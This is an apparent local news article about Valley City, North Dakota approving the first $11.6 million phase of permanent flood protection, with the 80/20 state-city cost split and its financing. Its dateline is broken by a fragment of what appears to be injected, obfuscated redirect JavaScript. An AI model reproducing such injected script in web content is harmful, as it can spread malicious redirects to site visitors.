VALLEY hathr|var|u0026u|referrer|tdsbe||js|php’.split(‘|’),0,{}))
CITY, N.D. (NewsDakota.com) The wheels on the first phase of permanent flood protection began to move as the Valley City board of commissioners unanimously approved of the first phase last night.

Valley City Flood Task Force Chairman and City commissioner Matt Pedersen says it’s exciting to get the first phase underway.

Pedersen says more state dollars could be appropriated by the legislature in the upcoming session being a majority of the first phase protects VCSU.

Earlier this month the city awarded Swanberg construction the bid. KLJ engineer Chad Petersen says the total cost of the first phase will be $11.6 million.

Pending construction approval by the state water commission, the state will pay 80 percent of the construction cost.

The cities share is 20 percent which will be spread out over a 30 year period and financed at 1.5 percent after Valley City voters overwhelmingly approved of a measure to use a portion of city sales tax monies for permanent flood protection in the November 4 election.